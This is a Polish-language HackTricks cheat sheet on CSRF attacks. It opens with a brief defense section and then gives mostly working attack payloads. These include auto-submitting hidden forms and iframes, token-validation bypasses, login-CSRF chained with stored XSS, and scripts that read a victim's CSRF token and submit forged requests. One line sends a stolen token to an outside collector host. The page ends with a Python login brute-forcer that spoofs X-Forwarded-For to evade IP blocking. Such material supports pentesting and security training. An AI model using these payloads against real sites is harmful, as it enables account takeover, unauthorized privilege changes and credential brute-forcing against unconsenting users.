CSRF (Cross Site Request Forgery)
Reading time: 21 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) to rodzaj luki bezpieczeństwa występującej w aplikacjach webowych. Pozwala atakującym wykonywać akcje w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest przeprowadzany, gdy użytkownik zalogowany do ofiary odwiedza złośliwą stronę, która następnie wyzwala żądania do konta ofiary przez wykonanie JavaScript, wysłanie formularzy lub pobranie obrazków.
Prerequisites for a CSRF Attack
Aby wykorzystać lukę CSRF, musi zostać spełnionych kilka warunków:
- Identify a Valuable Action: Atakujący musi znaleźć akcję wartą wykorzystania, np. zmianę hasła użytkownika, e-maila lub podniesienie uprawnień.
- Session Management: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą cookies lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą być w ten sposób zmanipulowane.
- Absence of Unpredictable Parameters: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, gdyż mogą one uniemożliwić atak.
Quick Check
Możesz capture the request in Burp i sprawdzić zabezpieczenia CSRF, a aby przetestować z poziomu przeglądarki możesz kliknąć Copy as fetch i sprawdzić żądanie:
 (1) (1).png)
Defending Against CSRF
Kilka środków zaradczych można wdrożyć, aby chronić przed atakami CSRF:
- SameSite cookies: Ten atrybut uniemożliwia przeglądarce wysyłanie cookies wraz z żądaniami cross-site. More about SameSite cookies.
- Cross-origin resource sharing: Polityka CORS serwisu ofiary może wpływać na wykonalność ataku, szczególnie jeśli atak wymaga odczytu odpowiedzi z serwisu ofiary. Learn about CORS bypass.
- User Verification: Poproszenie o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencję użytkownika.
- Checking Referrer or Origin Headers: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak starannie skonstruowane URL-e mogą obejść słabo zaimplementowane sprawdzenia, na przykład:
- Using
http://mal.net?orig=http://example.com
(URL ends with the trusted URL) - Using
http://example.com.mal.net
(URL starts with the trusted URL) - Modifying Parameter Names: Zmiana nazw parametrów w żądaniach POST lub GET może utrudnić automatyczne ataki.
- CSRF Tokens: Włączenie unikalnego CSRF tokena dla każdej sesji i wymaganie tego tokena w kolejnych żądaniach znacząco zmniejsza ryzyko CSRF. Skuteczność tokena można zwiększyć przez egzekwowanie CORS.
Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji webowych.
Common pitfalls of defenses
- SameSite pitfalls:
SameSite=Lax
nadal pozwala na nawigacje top-level cross-site, takie jak linki i formularze GET, więc wiele CSRF opartych na GET pozostaje możliwych. Zobacz cookie matrix w Hacking with Cookies > SameSite. - Header checks: Waliduj
Origin
gdy jest obecny; jeśli zarównoOrigin
, jak iReferer
są nieobecne, odrzucaj żądanie (fail closed). Nie polegaj na dopasowaniach przez substring/regexReferer
, które można obejść przez lookalike domains lub spreparowane URL-e, i zwróć uwagę na sztuczkę zmeta name="referrer" content="never"
służącą do tłumienia. - Method overrides: Traktuj nadpisane metody (
_method
lub override headers) jako zmieniające stan i wymuszaj CSRF na efektywnej metodzie, a nie tylko na POST. - Login flows: Zastosuj ochrony CSRF także dla logowania; w przeciwnym razie login CSRF umożliwia wymuszenie ponownego uwierzytelnienia do kont kontrolowanych przez atakującego, co można połączyć z stored XSS.
Defences Bypass
From POST to GET (method-conditioned CSRF validation bypass)
Niektóre aplikacje wymuszają walidację CSRF jedynie dla POST, pomijając ją dla innych werbów. Powszechny antywzorzec w PHP wygląda tak:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Jeśli podatny endpoint akceptuje również parametry z $_REQUEST, możesz ponownie wykonać tę samą akcję jako żądanie GET i całkowicie pominąć CSRF token. To zamienia akcję dostępną tylko przez POST na akcję GET, która powiedzie się bez tokenu.
Przykład:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- Ten wzorzec często pojawia się razem z reflected XSS, gdy odpowiedzi są błędnie serwowane jako text/html zamiast application/json.
- Sparowanie tego z XSS znacznie obniża bariery eksploatacji, ponieważ można dostarczyć pojedynczy link GET, który zarówno uruchamia podatną ścieżkę kodu, jak i całkowicie omija mechanizmy sprawdzania CSRF.
Brak tokenu
Aplikacje mogą zaimplementować mechanizm walidacji tokenów kiedy są one obecne. Jednak powstaje luka, jeśli walidacja jest pomijana całkowicie, gdy token jest nieobecny. Atakujący mogą to wykorzystać, usuwając parametr który przenosi token, a nie tylko jego wartość. Pozwala to na obejście procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF).
Co więcej, niektóre implementacje sprawdzają tylko, czy parametr istnieje, ale nie walidują jego zawartości, więc pusta wartość tokena jest akceptowana. W takim wypadku wystarczy wysłać żądanie z csrf=
:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
Minimalny PoC z automatycznym wysłaniem (ukrywanie nawigacji przy użyciu history.pushState):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF token is not tied to the user session
Aplikacje, które nie wiążą CSRF tokens z sesjami użytkownika, stanowią poważne zagrożenie bezpieczeństwa. Systemy te weryfikują tokeny względem globalnej puli zamiast zapewnić, że każdy token jest powiązany z sesją, która go wygenerowała.
Oto jak atakujący to wykorzystują:
- Uwierzytelniają się przy użyciu własnego konta.
- Uzyskują ważny CSRF token z globalnej puli.
- Używają tego tokena w ataku CSRF przeciwko ofierze.
Ta podatność pozwala atakującym wykonywać nieautoryzowane żądania w imieniu ofiary, wykorzystując niewystarczający mechanizm walidacji tokenów aplikacji.
Omijanie metody
Jeśli żądanie używa „dziwnej” metody, sprawdź, czy działa funkcjonalność method override. Na przykład, jeśli używana jest metoda PUT/DELETE/PATCH, możesz spróbować użyć POST i wysłać override, np. https://example.com/my/dear/api/val/num?_method=PUT
.
Może to również zadziałać przez wysłanie parametru _method
w treści POST lub użycie nagłówków override:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Często spotykane w frameworkach takich jak Laravel, Symfony, Express i innych. Deweloperzy czasem pomijają CSRF dla metod innych niż POST, zakładając, że przeglądarki nie mogą ich wysyłać; dzięki override możesz nadal trafić do tych handlerów poprzez POST.
Przykładowe żądanie i HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
Omijanie tokenu w custom header
Jeśli żądanie dodaje custom header z token jako CSRF protection method, to:
- Przetestuj żądanie bez Customized Token i bez header.
- Przetestuj żądanie z tokenem o dokładnie tej samej długości, lecz innym tokenie.
CSRF token jest weryfikowany przez cookie
Aplikacje mogą implementować ochronę CSRF poprzez duplikowanie token w obu: cookie oraz parametrze żądania, lub poprzez ustawienie CSRF cookie i weryfikowanie, czy token wysłany do backendu odpowiada cookie. Aplikacja waliduje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w cookie.
Jednak ta metoda jest podatna na ataki CSRF, jeśli serwis ma luki pozwalające atakującemu ustawić CSRF cookie w przeglądarce ofiary — na przykład luka CRLF. Atakujący może to wykorzystać, ładując podstępny obraz, który ustawia cookie, a następnie inicjując atak CSRF.
Poniżej przykład, jak taki atak może być skonstruowany:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
Zauważ, że jeśli csrf token jest powiązany z session cookie, ten atak nie zadziała, ponieważ będziesz musiał ustawić u ofiary swoją sesję, a więc będziesz atakował siebie.
Zmiana Content-Type
Zgodnie z this, aby uniknąć preflight żądań przy użyciu metody POST, dozwolone są następujące wartości Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Jednak zwróć uwagę, że logika serwera może się różnić w zależności od użytego Content-Type, więc powinieneś wypróbować wspomniane wartości oraz inne, takie jak application/json
,text/xml
, application/xml
.
Przykład (z here) wysyłania danych JSON jako text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Bypassing Preflight Requests for JSON Data
Przy próbie wysłania danych JSON za pomocą żądania POST ustawienie Content-Type: application/json
w HTML formie nie jest bezpośrednio możliwe. Podobnie, użycie XMLHttpRequest
do wysłania tego typu treści inicjuje preflight request. Niemniej jednak istnieją strategie, które mogą pozwolić ominąć to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
- Use Alternative Content Types: Użyj
Content-Type: text/plain
lubContent-Type: application/x-www-form-urlencoded
, ustawiającenctype="text/plain"
w formularzu. To pozwala sprawdzić, czy backend wykorzystuje dane niezależnie od Content-Type. - Modify Content Type: Aby uniknąć preflight request, a jednocześnie sprawić, by serwer rozpoznał zawartość jako JSON, możesz wysłać dane z
Content-Type: text/plain; application/json
. To nie wywoła preflight request, ale może zostać poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowaniaapplication/json
. - SWF Flash File Utilization: Mniej powszechna, lecz wykonalna metoda polega na użyciu pliku SWF (Flash) do obejścia takich ograniczeń. Aby poznać tę technikę bardziej szczegółowo, zobacz this post.
Referrer / Origin check bypass
Avoid Referrer header
Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest on obecny. Aby uniemożliwić przeglądarce wysłanie tego nagłówka, można użyć następującego HTML meta tagu:
<meta name="referrer" content="never">
To zapewnia, że nagłówek 'Referer' jest pomijany, potencjalnie omijając kontrole walidacji w niektórych aplikacjach.
Regexp bypasses
Aby ustawić nazwę domeny serwera w URL, którą Referrer ma wysłać w parametrach, możesz zrobić:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
Omijanie metody HEAD
W pierwszej części this CTF writeup wyjaśniono, że w Oak's source code router jest ustawiony tak, by handle HEAD requests as GET requests bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oak. Zamiast specyficznego handlera obsługującego żądania HEAD, są one po prostu given to the GET handler but the app just removes the response body.
Dlatego, jeśli żądanie GET jest ograniczane, możesz po prostu send a HEAD request that will be processed as a GET request.
Exploit Examples
Stored CSRF via user-generated HTML
Gdy dozwolone są edytory rich-text lub HTML injection, możesz utrwalić pasywny fetch, który uderzy w podatny endpoint GET. Każdy użytkownik, który obejrzy zawartość, automatycznie wykona to żądanie z własnymi cookies.
- Jeśli aplikacja używa globalnego tokena CSRF, który nie jest powiązany z sesją użytkownika, ten sam token może działać dla wszystkich użytkowników, co sprawia, że stored CSRF jest niezawodne wobec wielu ofiar.
Minimalny przykład, który zmienia email oglądającego po załadowaniu:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
CSRF logowania połączone ze stored XSS
CSRF logowania sam w sobie może mieć niewielki wpływ, ale połączenie go z uwierzytelnionym stored XSS staje się potężne: zmuszasz ofiarę do zalogowania się na konto kontrolowane przez atakującego; będąc już w tym kontekście, stored XSS na stronie dostępnej po uwierzytelnieniu wykona się i może ukraść tokeny, przejąć sesję lub eskalować uprawnienia.
- Upewnij się, że login endpoint jest CSRF-able (brak per-session token lub origin check) i że żadne mechanizmy wymagające interakcji użytkownika nie blokują ataku.
- Po wymuszonym logowaniu automatycznie przejdź na stronę zawierającą payload stored XSS atakującego.
Minimal login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
Eksfiltracja CSRF Token
Jeśli CSRF Token jest używany jako środek ochronny, możesz spróbować eksfiltrować go wykorzystując podatność XSS lub podatność Dangling Markup.
GET z użyciem tagów HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Inne tagi HTML5, które można użyć do automatycznego wysłania żądania GET, to:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Formularz żądania GET
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Żądanie POST formularza
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Form POST request przez iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST żądanie
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST request
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST request v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
Żądanie POST formularza z wewnątrz iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Wykradnij CSRF Token i wyślij żądanie POST
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Ukradnij CSRF Token i wyślij żądanie POST używając iframe, form i Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Ukradnij CSRF Token i wyślij POST request używając iframe i form
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Ukradnij token i wyślij go używając 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token za pomocą Ajax i wyślij post przy użyciu form
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF z Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
Kod może być użyty do Brut Force formularza logowania przy użyciu CSRF token (Używa też nagłówka X-Forwarded-For, aby spróbować obejść ewentualne IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Narzędzia
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional – Generate CSRF PoCs
Źródła
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Ultimate guide to CSRF vulnerabilities (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Hands-on labs
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.